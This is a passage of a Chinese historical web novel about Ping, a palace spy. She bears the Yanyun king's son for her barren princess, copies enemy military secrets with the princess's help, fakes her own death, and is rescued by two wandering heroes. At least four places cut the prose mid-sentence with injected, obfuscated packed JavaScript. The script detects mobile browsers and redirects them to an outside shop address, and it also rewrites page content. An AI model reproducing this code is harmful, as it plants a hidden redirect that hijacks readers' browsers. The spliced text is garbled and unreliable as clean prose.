那不是话本里的儿女私情。 也不是宫闱里寻常的主仆恩义。 那是两个女人被同一盘棋逼到狭处之后,彼此分担了一半不能说出口的命。 和亲队伍抵达燕云王庭时,正是初冬。 燕云的冬天来得更早。 草原上风像刀,刮在人脸上生疼。营帐一顶一顶连在一起,远处马群像黑色的云。燕云人迎接公主的仪式不似安国那样繁复,却极热烈。鼓声、马嘶声、人群呼喝声混在一起,像整片土地都在震。 燕云王亲自来迎。 他比陆棣贤年长许多,身形高大,眉骨深,眼神锐利。看人时并不遮掩,喜欢就是喜欢,不喜欢就是不喜欢。他第一次见陆棣贤,便多看了几眼。 安国公主不像他想象中柔弱。 她穿着厚重礼服,站在风里,脸色有些白,背却很直。燕云王朝她行了燕云礼,陆棣贤也按安国礼法回礼。两种礼不一样,却没有谁显得低谁一等。 后来萍才知道,燕云王确实喜欢陆棣贤。 不是一见钟情那种故事里的喜欢,而是一个统治者对另一个清醒之人的欣赏。陆棣贤不撒娇,不争宠,不把自己当受害者,也不把自己完全当献祭品。她学燕云话,学辨马,学部族关系,也学草原冬日怎样储粮。 燕云王起初以为她只是懂事。 后来才发现,她是明白。 她明白自己为何来,也明白自己能做什么,不能做什么。 这样的女子,在燕云王庭里并不多。 可喜欢并不能解决所有事。 陆棣贤不能生育。 这个消息最初只有安国随行医官知道。出发前,宫中太医便隐约诊出她体质有碍。若在安国宫中,这不一定是大事。公主不必靠生子保命。可到了燕云王庭,这便成了悬在头顶的刀。 和亲公主若无子,地位终究不稳。 尤其在燕云。 各部看重血脉。妃子若无子,旁的部族女子便会借子争位。陆棣贤再得燕云王欣赏,也不能永远靠欣赏立足。安国带来的种子和工匠能让她一时被看重,却不能替她在王庭里生出根。 萍比陆棣贤更早意识到这一点。 因为她站得低。 站得低,能看见高处人不愿低头看的东西。 她看见几个燕云贵女在宴后说笑,说安国公主像雪做的,漂亮,却冷,怕是养不出草原上的孩子。她看见燕云王的几个亲族妇人送来补药,嘴上亲热,眼睛却一直在陆棣贤腹部打转。也看见王庭中的医者诊脉之后,异样的神色一闪而过。 这些话,萍起初没有告诉陆棣贤。 她仍旧记着密诏。 她要看燕云王庭,要找机会接近核心,要知道安国想知道的东西。可是日子久了,她发现,许多核心机密不是一个侍女能靠近的。她再会听,再会记,也只能在帐外听见一点风声。 真正的东西,在王族内部。 在妻妾之间,在血脉之内,在谁的孩子能被抱到王座旁边时。 萍开始想一个可怕的办法。 那办法一出现,她自己也觉得荒唐。 她不是公主。 她只是随嫁侍女。 可也正因为她是侍女,她有时候比公主更容易被当成可以使用的东西。 燕云王注意到她,是在一次夜宴后。 那一日,几个部族首领喝多了酒,有人言语间冒犯陆棣贤,说安国公主太瘦弱,怕是草原的风再刮几年便吹散了。帐中笑声一片,燕云王皱了眉,还未开口,萍便上前替陆棣贤倒酒。 酒倒到一半,她抬眼,用刚学会不久的燕云话说了一句:“草原的风能吹倒枯草,吹不倒带种子来的人。” 帐中静了一瞬。 她说得并不流利,发音甚至有些生硬。 可这句话叫许多人愣住了。 陆棣贤看了她一眼。 燕云王也看了她一眼。 那一眼之后,萍知道,自己的命又走到了另一个岔口。 后来发生的事,萍从不愿细说。 那不是风月。 也不是女子之间争宠的故事。 那是她在隐鸢司里学了一生之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537069|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,终于把自己也当成任务的一部分送了出去。 她主动走到了燕云王能看见的地方。 她并不争陆棣贤的宠。相反,她处处维护陆棣贤。她只是在王庭需要一个可能的孩子时,成为了那个最合适、也最不被燕云各部忌惮的人。 她是安国来的侍女,没有部族根基。 若她生下孩子,这孩子仍可被记在陆棣贤名下,成为安国公主在燕云王庭站稳的根。 这是很残忍的算计。 萍知道。 陆棣贤也很快知道。 那一夜,陆棣贤把她叫进帐中。 帐外风雪很大,帐内只点着一盏灯。陆棣贤坐在灯下,脸色比平日更白,却并不糊涂。 “是你自己愿意的?”她问。 萍跪下。 “奴婢愿意。” 陆棣贤看着她。 “不要拿这种话来糊弄我。你是隐鸢司的人吧?” 萍猛地抬头。 那是她第一次在隐鸢司外听到这三个字。 萍的手指瞬间收紧。 陆棣贤没有惊怒,也没有叫人。 她只是看着萍,像早已把许多事想明白。 “父皇不会只送一个普通侍女到我身边。” 萍跪在那里,喉咙发紧。 “公主……” “你来燕云,是为了隐鸢司,还是为了安国?” 这个问题,没有好答法。 萍沉默许久。 “都是。” 陆棣贤笑了一下。 那笑里没有讽刺,只有疲惫。 “这样倒也诚实。” 她站起身,走到萍面前。 “那我问你。你现在做的事,是为了我,还是为了任务?” 萍的额头贴在地毡上。 “为了公主能活,也为了安国能少死人。” 陆棣贤许久没有说话。 帐外风雪拍打着帐布,像有人一下一下敲门。 最后,陆棣贤说:“起来。” 萍没有动。 陆棣贤又说:“起来。” 萍这才起身。 陆棣贤看着她,忽然问:“你怕吗?” 萍答不出来。 她在隐鸢司里学过太多不怕。 可人在这种时候,怎会不怕。 陆棣贤伸手,轻轻握住她的手。 萍僵住。 她很多年没有被人这样握过。不是命令,不是利用,也不是试探。只是一个女子握住另一个女子的手。 “若有一日,你后悔了,要告诉我。”陆棣贤说。 萍低声道:“来不及后悔。” 陆棣贤看着她。 “那也要告诉我。” 萍那一瞬间,几乎要哭。 可她没有。 后来,她有了身孕。 燕云王庭为此震动。 明面上,所有人都说这是王的血脉。至于这孩子将来记在谁名下,如何安排,没人敢在一开始便明说。陆棣贤却很快稳住了局面。她没有嫉恨萍,也没有疏远萍。她仍让萍住在自己帐中,由安国来的医官照料,对外只说萍是她身边最亲近的人,腹中孩子亦在她庇护之下。 燕云王默许了。 他不是不知道这里面的安排。 可对他而言,这孩子有燕云王族血脉,也与安国公主阵营相连,反倒有利于稳住两国关系。更何况,他确实敬重陆棣贤,也愿意给她这份体面。 34.借腹生子立根基 萍怀着孩子时,常常睡不好。 草原夜里风大,帐外马铃声不断。她躺在那里,手放在腹上,第一次清楚地感觉到,自己身体里有一个不是任务的东西。 可那孩子从一开始,就被任务包着。 她不知道该怎样做母亲。 隐鸢司没有教过这个。 它教她怎样让人相信她柔弱,怎样记密信,怎样在被抓时咬碎毒囊。可它没有教她听见腹中孩子动了一下时,心为何也跟着动了。 陆棣贤却会坐在她身边,给孩子念安国的诗。 念到一半,自己也笑。 “他将来大约听不懂。” 萍说:“公主可以教他。” 陆棣贤看向她:“你也可以。” 萍低下头。 “奴婢不配。” 陆棣贤声音沉下来:“不要再这样说。” 萍没有答。 陆棣贤道:“你不是一件东西。” 萍的眼眶忽然热了。 她想,公主不知道。 她从小便是东西。 编号,棋子,密探,侍女,工具。如今又成了一个孩子来到世上的生育者。她不是不知道自己被使用,也不是不知道陆棣贤待她好。可好并不能抹去她身上那些被刻过的字。 孩子出生在一个风雪夜。 燕云的冬天冷得厉害。帐外雪被风卷着走,像一片片白色的刀。萍痛了一日一夜,几次昏过去,又被痛醒。陆棣贤一直在旁边守着,手指被她抓出了血。 孩子落地时,哭声很亮。 是个男孩。 燕云王亲自来看。 帐中所有人都跪下。陆棣贤抱起孩子,神情平静得像早已决定好一切。 “给他取名阿木尔。”她说。 在燕云话里,那是和平的意思。 萍躺在床上,浑身像散了架,听见这个名字时,眼泪无声落下。 和平。 她这样的人,竟也能生下一个叫和平的孩子。 阿木尔从一出生,便被放在了权力的风口上。 燕云王喜欢他。陆棣贤也护着他。萍名义上只是生母,真正的养育与名分,都在陆棣贤那里。可孩子是从她身上落下来的。半夜里他哭,萍总是第一个醒。乳母来之前,她会先抱起他,轻轻拍着他的背。 她不敢当着太多人这样抱。 可私下里,陆棣贤从不拦她。 有一次,阿木尔抓着萍的手指不放。 萍低头看着他,忽然说:“他将来会恨我吗?” 陆棣贤问:“为什么恨你?” “因为我不能做他的母亲。” 陆棣贤沉默片刻。 “那就让他知道,她有两个母亲。” 萍看着她。 陆棣贤道:“一个给他命,一个给他名。若他将来连这个都不懂,便不配做我们的孩子。” 萍那时没有说话。 她只是抱着阿木尔,轻轻贴了贴他的额头。 日子似乎就这样过了下去。 可是密诏仍在。 安国的任务没有因为阿木尔出生便消失。相反,因为她与陆棣贤在燕云王庭站稳,许多从前摸不到的东西,开始能摸到边缘。 萍能进入更多帐子。 能听见王族妇人私下里的抱怨,听见哪个部族不满分到的草场,听见哪位王弟暗中同瑞国商人来往。她也能借照料阿木尔之名,接近王庭存放文书和兵器图样的地方。 她没有忘记自己是谁。 或者说,她从未被允许忘记。 她开始记。 记燕云各部兵力,记草场分布,记冬季粮马调度,记几处安国边郡外的暗道,记王庭亲战派与谁来往,记瑞国商人以买马、贩盐之名运进来的铁料。 最要紧的,是一份黑毡册。 那不是一本真正用黑毡做的册子,而是燕云王庭内部对它的俗称。它由几份文书和图样合成,平日分藏在不同地方,只有王族最核心的人才能看全。 一份是燕云九部近三年换防与兵马点籍。 上面写着各部能出多少骑兵,冬季驻牧何处,哪些部族与王庭亲近,哪些只是表面听令。 一份是南境草场与安国西州边防相接处的暗道图。 那些路不是官道,多为牧民、水草、商队多年踩出来的隐路。若小股骑兵南下,能避开安国几处明面关卡。 一份是新制连弩与轻甲图样。 燕云原本以骑射见长,不重机关弩。可近年有人从南边带来工匠和铁料,改出一种适合马队突袭后短距连发的弩机。若数量不多,它只是奇物;若与燕云骑兵配合,边境小城会很难守。 最后一份,是亲战派与瑞国商队往来的暗账。 瑞国表面同安国友好,南边互市也未断,可那账册里清楚记着,瑞国商人向燕云亲战部族输送铁料、盐药、工匠和少量军械。他们不盼燕云立刻灭安国,只盼安国西境不断流血。 这份东西若送回安国,足以让安国提前数年看清局势。 可它也足以要萍、陆棣贤和阿木尔三个人的命。 萍最初只是偷看到几角。 一角是草场图,一角是瑞国商队暗账,还有一角是连弩图样。她不敢写在纸上,大多先背在心里。夜深人静时,才用极小的字,写在特制薄绢上,再藏进针线夹层里。 有一次,她正在临摹半张南境暗道图。 帐外忽然有脚步。 萍来不及收起,只能把薄绢压进袖中。可进来的人不是旁人,是陆棣贤。 两人四目相对。 陆棣贤的目光落到桌上那一点未干的墨迹上。 帐内安静得能听见灯油爆开的声音。 萍跪下。 这一次,她没有辩解。 陆棣贤走到桌边,拿起那张半成的图。 她看了很久。 “父皇给你的密令?”她问。 萍低头:“是。” “卫慬知道吗?” “知道。” 陆棣贤笑了一下。 “难怪。” 她把图放回桌上,没有叫人,也没有发怒。 萍心里却更难受。 “公主若要处置奴婢,奴婢绝无怨言。” 陆棣贤看向她:“处置你,然后呢?让燕云人知道我身边的侍女是安国密探?让阿木尔被各部拿来做文章?让安国与燕云好不容易稳下来的局势再添一把火?” 萍说不出话。 陆棣贤道:“你为什么不告诉我?” “奴婢不能。” “现在能了吗?” 萍抬头。 陆棣贤坐下,神色很冷静。 “把你知道的,都说给我听。” 那一夜,两人谈到天亮。 萍说了密诏,说了卫慬的叮嘱,说了自己这些年记下的东西,也说了那份黑毡册。她以为陆棣贤会失望,至少会恨她。可陆棣贤只是听着,偶尔问几句。 天快亮时,陆棣贤说:“以后你不要一个人做。” 萍愣住。 陆棣贤道:“你一个人偷看,迟早会死。要做,便做得像样些。” 从那以后,陆棣贤成了她的同谋。 这件事若让任何一方知道,都是死罪。 可陆棣贤比萍更清楚哪些东西有用,哪些东西是燕云故意让人看见的假象。她会借王后的身份调动侍女,会以安国公主的名义召见工匠,也会在宴后无意间把萍留在该留的地方。 两人表面上渐渐不和。 这是陆棣贤提出来的。 “你太得我信任,反而惹眼。”她说,“不如让他们以为,你恃子而骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更准确说,是让所有人以为陆棣贤终于容不下萍,借一场争执害死了她。 那夜风很大。 帐外火把被吹得乱晃。 陆棣贤与萍在帐中争吵,声音传出去,外头侍女都听见了。争到后来,杯盏摔碎,萍哭着冲出帐子,跑向后营。有人追,有人喊,也有人假装没追上。 不久后,后营起火。 火烧了一间旧帐。 帐里有一具被烧得难辨面目的女尸。 尸身上有萍平日用的簪子,也有她的衣物残片。 王庭震动。 所有人都说,安国公主终于害死了那个生下阿木尔的侍女。 燕云王大怒。 陆棣贤跪在王帐前,一言不发。她不能辩解,不能哭得太真,也不能太冷。她必须让所有人相信,她确实恨过萍,也确实可能做出这样的事。 那几日,是她一生里最难熬的日子之一。 萍已经不在王庭。 她换了衣裳,混在送柴的人里出了营。 离开前,她只见了阿木尔一面。 孩子还小,睡得沉。 萍站在帐边,看着他。她没有抱他,因为抱了便走不了。陆棣贤站在她身后,眼圈红着,却没有哭出声。 萍从颈间取下那块玉佩。 那是陆棣贤当年送给她的东西。 玉佩原是一整块。 早在决定死遁时,萍便找了信得过的老工匠,沿着玉中天然暗纹将它分成两半。两半合在一起时仍是完整的,分开时却各自成形。 萍把一半放到阿木尔身边。 另一半自己收起。 “若他将来问起我,”萍说,“公主便说,我死了。” 陆棣贤看着她。 “你真愿意让他以为你死了?” 萍低声道:“活着的母亲会害他,死了的不会。” 陆棣贤终于落泪。 “你们一个个,都以为自己死了便干净。” 萍没有答。 她怕自己一开口,便再也走不了。 35.归途将绝逢侠影 她离开王庭那一夜,风雪很大。 雪打在脸上像沙子。她身上有伤,怀里藏着薄绢和半块玉佩,一路往南。追查的人不算少,陆棣贤暗中替她引开了几拨,可仍有两次险些被发现。 她走过草原,躲过商队,混过边民,装过哑女,也装过病妇。伤口溃烂时,她以为自己会死在路上。可是每一次快撑不住,她便摸一摸怀里的玉。 那半块玉很冷。 像提醒她,另一半还在阿木尔身边。 她不能死在半路。 萍进入安国没多久,便遇到了歹人。 那时她刚越过边境不久,身上带着伤,烧也未退。边境附近本就乱,停战多年,却仍有许多无籍游民、散兵、盗匪混在山道和荒村之间。她走到一处山道时,被几个人盯上了。 那几人以为她只是个落单女子。 他们看见她走路不稳,看见她衣裳破旧,看见她脸色苍白,便觉得这是一件容易入口的猎物。 若是从前的萍,未必不能杀出去。 可她那时伤得太重,烧也未退。 她杀了一个,伤了一个,自己却也倒在地上。 就在她以为自己终于要死的时候,有人来了。 先是一阵马蹄声。 然后是一个女子清亮的声音。 “光天化日,几个人欺负一个病人,也不怕下辈子投胎做驴都瘸腿。” 萍躺在地上,费力睁开眼。 她看见一个女子从马上下来。 那女子穿得不像寻常闺阁女子,袖口束着,腰间佩着短刀,眉眼明亮,神情里有一种不肯绕路的痛快。 她身后还有一个年轻男人。 那男人样貌清俊,气质却不像普通江湖客。他看见地上的萍,眉头微皱,很快出手。那几个歹人不是他的对手,很快便散了。 女子蹲到萍面前。 “还活着吗?” 萍看着她。 她想按住袖中的薄绢和玉佩,可手已经抬不起来。 女子伸手替她探了探额头,又摸脉,皱眉道:“烧成这样,还能撑到现在,命真硬。” 男人走近,低声道:“珍珍,别乱碰。她来路不明。” 女子回头看他。 “来路明的人就一定能救?来路不明的人就该死?” 男人没有再说。 女子又低头看萍,声音放轻了些。 “你叫什么?” 萍许久没答。 她不知道自己该叫什么。 丁三十一不能说。 萍也不能说。 从燕云死遁的人更不能有名字。 女子等了一会儿,见她不说,也不逼。 “罢了,能活下来再说。” 她把水喂到萍嘴边。 那水顺着喉咙流下去时,萍忽然觉得自己像从一个很深的地方被人拉了一下。 她后来知道,这女子叫朱珍珍。 那个男人,当时名叫卢明明。 他们都没有告诉萍真正身份。 朱珍珍只说自己是个江湖侠义之士,走到哪里,便管一点看得见的闲事。卢明明听见这话,表情有一瞬难看,大约很想说她管得太多。朱珍珍瞪他一眼,他便闭嘴了。 萍也没有告诉他们自己的任务。 她说自己要去京城投奔亲戚,路上遇了歹人。她这话半真半假。去京城是真,投奔亲戚是假。可是朱珍珍没有追问。 朱珍珍救她,只是因为她倒在路上,快死了。 最初几日,萍一直防备。 她发着烧,夜里常惊醒,手本能去摸藏刀。朱珍珍不生气,只把药放在她能拿到的地方,自己坐远些。 “你要怕我,我就离你远点。”朱珍珍说,“但药得喝。不喝你真死了。” 萍盯着她。 “你为什么救我?” 朱珍珍想了想。 “因为看见了。” 这个答案太简单。 萍不信。 隐鸢司里没有这样简单的答案。每一件事背后都有目的,每一个人伸手前都要算代价。 可朱珍珍救人,好像真的只是因为看见了。 她没有问萍从哪里来,也没有问她为什么有伤。她给萍买药,给她找衣裳,见萍不愿同人说话,便替她挡去旁人的盘问。卢明明比朱珍珍谨慎许多,常常看着萍,像已经察觉她不是寻常女子。 可朱珍珍每次都说:“她若想害我们,早死八回了。” 卢明明道:“她是受了重伤,不是不想。” 朱珍珍瞪他:“阿明,你少把人都想那么坏。” 卢明明便不说话了。 萍第一次听见“卢明明”这个名字时,差点以为自己烧糊涂了。 那样一个人,怎么会叫这样一个名字。 朱珍珍却叫得很顺口。 她有时故意拖长声音:“卢——明——明——” 卢明明脸色总是很难看。 萍躺在床上,看他们斗嘴,起初觉得荒唐,后来竟慢慢觉得有些暖。 她已经很久没有见过这样的人了。 不是主子,不是任务对象,不是同谋,不是敌人。 只是两个行走江湖的人。 她在他们身边养了一个多月。 伤口慢慢愈合,烧也退了。她终于能下地走路。朱珍珍给她买了一身干净衣裳,颜色很素。穿上时,萍站在铜镜前,看着镜里那个脸色苍白的女人,几乎认不出自己。 朱珍珍从后头探头看她。 “好看。” 萍摇头:“不好看。” “我说好看就好看。” 萍没有再争。 因为她们正好都往京城方向去,三人便同行了一段。 按理说,他们都该走得很急。 朱珍珍和卢明明收到京中来信之后,虽没有明说,萍却看得出那信不轻。卢明明看完信后,将纸折得很小,放进怀里,半日没有说话。朱珍珍仍同往常一样说笑,可夜里投宿时,她也会独自坐在灯下,望着烛火发怔。 萍更该急。 她怀里藏着从燕云带回来的东西,脑中记着暗道、换防、兵器图样和瑞国商人的名字。她每耽搁一日,便多一分风险。若有人追来,若她病倒,若她死在路上,那些她用半条命带回来的东西,便可能再也没有机会送出去。 可他们偏偏走得不快。 朱珍珍说:“赶路也要吃饭,吃饭也要吃好些。人急死了,马也急不出翅膀。” 卢明明看她一眼:“你若少在每个镇上停半日,马能省不少力气。” 朱珍珍道:“我停半日是为了谁?上回是谁半夜咳嗽,还硬说无事?” 卢明明不说话了。 萍坐在一旁,低头喝茶。 她看出来,卢明明有旧伤。那伤大约不在明处,却逢寒便发。朱珍珍嘴上常嫌他冷着一张脸,行路时却总会算着路程,不让他连日劳顿。遇到阴雨天气,她便早早寻客栈住下,说自己不想淋雨,其实是怕他旧伤受寒。 卢明明也知道。 他不戳破,只在她挑客栈嫌东嫌西时,默默付钱。 他们二人相处,不像寻常夫妻那样腻在一处,也少有软语温存。朱珍珍爱笑,爱闹,爱管闲事;卢明明话少,眉头总像压着一层霜。可萍看得出,他们之间有一种旁人插不进去的熟稔。 朱珍珍一抬手,卢明明便知道她要刀还是要钱。 卢明明一沉默,朱珍珍便知道他是真的不悦,还是只是不愿在人前多说。 有一晚投宿山中破庙,风大,瓦漏,朱珍珍睡到半夜嫌冷,迷迷糊糊往卢明明那边挪。卢明明本来闭着眼,手却已经把外袍扯过来,盖在她肩上。 朱珍珍醒了半分,嘟囔道:“你不冷?” 卢明明道:“冷。” “那你还给我?” “省得你明日一路打喷嚏。” 朱珍珍笑了一声,眼睛都没睁:“阿明,你就是嘴硬。” 卢明明没有答。 可萍看见,他替她把外袍又往上拉了拉。 萍心里有些陌生。 她见过许多男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541168|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女。 有互相利用的,有互相怨恨的,有表面恩爱、背后各算各的。她也见过真心,只是真心常常在权势、身份、贫穷和命令里变得不够看。朱珍珍和卢明明却不同。他们并非没有秘密,也并非没有争执。只是争执归争执,真遇到事时,谁也不会把谁丢在身后。 萍不习惯这样的同行。 她从前走路,都是为了任务。 从一处到另一处,中间少停,少说话,少露行迹。隐鸢司教她,路上的人都是危险,路上的事都是枝节,能不碰便不碰。可朱珍珍偏偏爱碰这些枝节。 但朱珍珍也不是莽撞的人。 她在江湖混了多年,见过黑店,见过人贩子,见过假装卖惨的骗子,也见过真正被逼到绝路的人。她有时看起来冲得快,其实眼睛极利。 有一日,三人路过一处小镇。 镇外有个妇人抱着孩子跪在路边。那孩子脸烧得通红,嘴唇干裂,眼睛都睁不开。妇人面前摆着一个破碗,碗里只有几枚铜钱。过路人看了两眼便走,谁也不愿沾一个病孩子。 朱珍珍停了马。 卢明明微微皱眉,却没拦。 朱珍珍下马后,没有立刻掏银子。她先摸了摸孩子的额头,又翻了翻眼皮,再问妇人:“烧几日了?吃过什么药?家住哪儿?孩子他爹呢?” 妇人哭着一一答了。 朱珍珍听完,又看了看妇人的手。 那双手粗,指缝里有泥,指甲磨得短,不像常年在路边行骗的人。孩子身上的衣裳破,却洗过。碗里的铜钱也少得可怜。若真是设局骗钱,不会把孩子烧成这样。 朱珍珍起身,对卢明明道:“拿银子。” 卢明明取了银子。 朱珍珍刚要接,萍却忽然拦了一下。 朱珍珍看她。 萍低声道:“不能这样给。” 朱珍珍没有恼,只顺着她的目光看过去。 镇口已经有几个人停下来看热闹。其中一个穿短褂的男人站得太近,目光不在孩子身上,反倒一直落在卢明明手里的银子上。还有一个挑担人,担子空着,却迟迟不走。 朱珍珍眉眼一动。 她懂了。 她不是没想到,只是先前看孩子烧得厉害,心急了些。 “你说怎么办?”朱珍珍问。 萍道:“陪她去医馆。药钱直接付给大夫。饭钱换成米面,送到她住处。若她没有男人,也没有近亲,再找镇上可靠妇人照看两日。” 朱珍珍点头:“行。” 卢明明看了萍一眼。 那眼神里第一次少了几分防备。 三人把妇人和孩子送进镇上医馆。 大夫起初嫌麻烦,见他们只是过路人,便想随便开两味药打发。朱珍珍没同他吵,只慢悠悠看了一眼药柜。 “大夫,你柜上那包柴胡,颜色不大对啊。”她道。 大夫脸色变了。 朱珍珍笑了笑:“我虽不是医家,可江湖上走久了,陈药新药还是分得出的。你若用陈药糊弄这个孩子,我便在你医馆门口坐半日,见一个病人说一句。” 大夫面色难看,却不敢再敷衍。 萍站在旁边,心里微微一动。 她原以为朱珍珍只是胆大心热,此时才看出来,她不是不懂人心。她懂。只是不愿一开始便把世人都想成坏的。 孩子喝下药后,夜里出了汗,烧慢慢退了些。 妇人跪着要给她们磕头。朱珍珍扶她,萍却去了灶房。米缸见底,灶边还有半袋发霉的麦麸。她没有声张,只让卢明明又买了两袋粗粮,另托医馆旁边一个老寡妇每日过来看一眼孩子。 离开医馆时,朱珍珍忽然挽住萍的手臂。 萍身子一僵。 朱珍珍像没察觉,只笑道:“以后我管闲事,你替我查缺补漏。” 萍低头道:“你可以少管。” “那不行。”朱珍珍道,“我少管了,你不就没事做了?” 萍没有答。 可她心里那点一直绷着的地方,像被这句玩笑松开了一些。 36.渡口同谋救伶人 又过几日,他们到了一处渡口。 渡口人多,船少,商贩、脚夫、行人挤在岸边。一个卖唱的小姑娘被两个船夫拦住,非说她偷了客人的钱袋。那小姑娘不过十三四岁,背着一把旧琵琶,吓得脸色发白,口中一直说没有。 围观的人不少,却没人出头。 朱珍珍又停了。 这一次,她没有立刻上前。 她先站在人群外看了一会儿。 两个船夫骂得凶,却不敢说清钱袋里有多少银子。那小姑娘衣袖窄,怀里又抱着琵琶,真要偷钱,并不方便。更怪的是,人群边上有个灰衣中年人始终不看小姑娘,只盯着渡口停船处。 朱珍珍低声道:“不像偷钱。” 萍道:“像设局。” 朱珍珍看她一眼,眼里带了笑意。 “你也看出来了?” 萍点头。 朱珍珍道:“那你看暗处,我去明处。” 萍没有再说。 朱珍珍走进人群,先问小姑娘:“你偷没偷?” 小姑娘哭着摇头。 船夫骂道:“她当然不认!这小娼妇手脚不干净,送官就是了。” 朱珍珍抬眼看他:“钱袋是谁丢的?” 船夫一顿。 “客人丢的。” “客人呢?” “走了。” “客人走了,你倒替他抓贼?” 那船夫脸色变了。 朱珍珍又问:“钱袋什么样?几两银子?装在何处?她什么时候偷的?谁看见了?” 她问得又快又稳,句句压着漏洞。两个船夫一开始还骂,后来便支吾起来。 萍已经退到人群外。 那个灰衣中年人见势不妙,正要走。萍从他身后擦过去,只在他腰侧轻轻一按,那人身子顿时僵住。她从他袖中搜出一只钱袋,又摸出一小包迷药。 萍把人往前一推。 那人踉跄着跌进人群,钱袋也掉在地上。 围观的人一下哗然。 朱珍珍回头看了一眼,立刻明白。 她捡起钱袋,抬手丢到船夫脚下。 “客人走了,钱袋倒还在你们同伙身上。你们这买卖做得不细。” 两个船夫脸色彻底变了。 其中一人抽身便跑。 卢明明一直站在旁边,像是没管闲事的意思。可那人刚跑出三步,卢明明的剑鞘已经压在他肩上。那人膝盖一软,当场半跪在地。 朱珍珍看着他,笑道:“阿明,你这人就是心口不一。嘴上说不管,手比谁都快。” 卢明明淡淡道:“我只是不想你又追半条街。” 朱珍珍哼了一声:“你是怕我累着。” 卢明明移开目光:“想多了。” 萍在一旁看着,竟差点笑出来。 她很快忍住。 可朱珍珍已经看见了。 “萍儿,你笑了。” “没有。” “你笑了。” 萍不说话。 朱珍珍也不逼她,只把卖唱小姑娘扶起来,问她有没有家。小姑娘说没有,靠卖唱过活。朱珍珍要给银子,手伸到一半,又停住,看向萍。 “不能直接给,对吧?” 萍点头。 “她拿着银子,走不出渡口。” 朱珍珍叹了口气:“你看,我也会学。” 萍道:“你本来就会。” 萍看着那个小姑娘,低声道:“只是你先想着救人,再想着后头的事。” 朱珍珍听了这话,没有反驳。 最后,是萍出面找了渡口一个老船娘。那老船娘方才在人群里几次想说话,又没敢出声。萍看得出,她不是坏人,只是怕事。怕事的人不一定可靠,但比那些不怕报应的人强。 萍给了老船娘一笔银子,又让她当着渡口巡检和众人的面,答应将小姑娘带去邻县一个收留卖唱女子的班子。银子一半当路费,一半暂存在巡检处,分两次取。这样老船娘不敢半路卖人,小姑娘也不至于拿着银子招祸。 朱珍珍在旁边听完,轻声道:“你救人比我仔细。” 萍道:“我只是见过救了又白救的事。” 朱珍珍看向她,但没有追问。 她只是伸手,轻轻拍了一下萍的肩。 “那以后我们一起。”她说,“你想后头,我管前头。” 萍垂下眼。 我们一起。 她从前听过许多命令,听过许多密语,也听过许多保证。可这四个字,比那些都轻,也比那些都更难受。 因为它不像命令。 它像邀请。 再后来,他们在一处县城遇见粮商高价卖米。 附近几村歉收,县里却迟迟不开仓。粮商趁机囤米,米价一日三涨。几个农户拿不出银子,便把女儿抵给粮商做工。说是做工,其实谁都知道进了粮商宅子会发生什么。 这事不归路过的人管。 卢明明道:“此地有县令。” 朱珍珍冷笑:“县令若管,粮商敢这样收人?” 她没有立刻夜闯粮商宅子。 她在江湖混过多年,知道有些事拔刀容易,收场难。救走几个女孩不难,难的是她走之后,那些人会不会被重新抓回去,甚至遭更重的报复。 她转头看萍。 “你觉得怎么查?” 萍道:“先查粮从哪里来,账在哪里,谁给他撑腰。” 朱珍珍点头:“我去明面上探。” 萍道:“我去暗处。” 卢明明看着她们二人,眉头微动。 朱珍珍笑道:“你写信。” 卢明明道:“我何时答应了?” 朱珍珍道:“你会答应的。” 卢明明看她半晌,终究没有反驳。 这一次,三人分工极清楚。 朱珍珍白日去了米铺,装作富户家的管事娘子,要买一大批粮。她说话爽快,挑剔得恰到好处。伙计起初以为遇到了大主顾,渐渐多说了几句。朱珍珍很快套出粮商最近确实囤了一批米,且同县衙里某位师爷往来密切。 萍去了后巷。 粮商家的账房先生有个小厮,每日傍晚会去赌坊。萍没有惊动他,只在赌坊外等了半个时辰,听他说醉话。又在夜里摸到粮商后院,顺走了一本不该放在外账里的薄册。 那册子里记着几笔送给县衙的“孝敬”。 还有几户农家抵女儿时按下的手印。 卢明明看过那本册子后,写了一封信。 信不长,却字字压得住人。没有怒骂,也没有威胁,只把粮商囤粮、县衙收银、强逼民女几件事列得清清楚楚,又隐晦点出若此事传入州府,会牵连到谁。 第二日,县令果然慌了。 粮商连夜放了几个女孩,又把米价压回去。县衙还装模作样贴了告示,说官府体恤民艰,严禁囤粮牟利。 朱珍珍看得直笑。 “他倒会给自己贴金。” 萍却去看那些被送回来的女孩。 有个女孩不过十二岁,脸色发白,抱着母亲不肯松手。萍看着她,忽然想起隐鸢司里那些被挑走的孩子。她那时也是这样的年纪,被送进一处没有窗的屋子,从此再没人问她怕不怕。 她从袖中取出一小包银子,塞给那女孩的母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们两个啊,一个比一个嘴硬。” 萍也忍不住弯了弯唇角。 那一晚的风不冷。 